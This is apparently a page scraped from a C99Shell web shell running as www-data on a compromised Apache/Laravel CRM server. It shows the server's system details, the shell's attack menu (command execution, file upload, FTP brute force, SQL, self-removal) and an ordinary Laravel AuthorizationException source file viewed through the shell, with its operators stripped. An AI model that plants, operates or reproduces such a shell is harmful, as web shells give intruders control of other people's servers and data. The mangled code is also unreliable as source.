!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/laravel/framework/src/Illuminate/Auth/Access/   drwxrwxrwx
Free 12.97 GB of 57.97 GB (22.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AuthorizationException.php (2.18 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Auth\Access;

use 
Exception;
use 
Throwable;

class 
AuthorizationException extends Exception
{
    
/**
     * The response from the gate.
     *
     * @var \Illuminate\Auth\Access\Response
     */
    
protected $response;

    
/**
     * The HTTP response status code.
     *
     * @var int|null
     */
    
protected $status;

    
/**
     * Create a new authorization exception instance.
     *
     * @param  string|null  $message
     * @param  mixed  $code
     * @param  \Throwable|null  $previous
     * @return void
     */
    
public function __construct($message null$code null, ?Throwable $previous null)
    {
        
parent::__construct($message ?? 'This action is unauthorized.'0$previous);

        
$this->code $code ?: 0;
    }

    
/**
     * Get the response from the gate.
     *
     * @return \Illuminate\Auth\Access\Response
     */
    
public function response()
    {
        return 
$this->response;
    }

    
/**
     * Set the response from the gate.
     *
     * @param  \Illuminate\Auth\Access\Response  $response
     * @return $this
     */
    
public function setResponse($response)
    {
        
$this->response $response;

        return 
$this;
    }

    
/**
     * Set the HTTP response status code.
     *
     * @param  int|null  $status
     * @return $this
     */
    
public function withStatus($status)
    {
        
$this->status $status;

        return 
$this;
    }

    
/**
     * Set the HTTP response status code to 404.
     *
     * @return $this
     */
    
public function asNotFound()
    {
        return 
$this->withStatus(404);
    }

    
/**
     * Determine if the HTTP status code has been set.
     *
     * @return bool
     */
    
public function hasStatus()
    {
        return 
$this->status !== null;
    }

    
/**
     * Get the HTTP status code.
     *
     * @return int|null
     */
    
public function status()
    {
        return 
$this->status;
    }

    
/**
     * Create a deny response object from this exception.
     *
     * @return \Illuminate\Auth\Access\Response
     */
    
public function toResponse()
    {
        return 
Response::deny($this->message$this->code)->withStatus($this->status);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--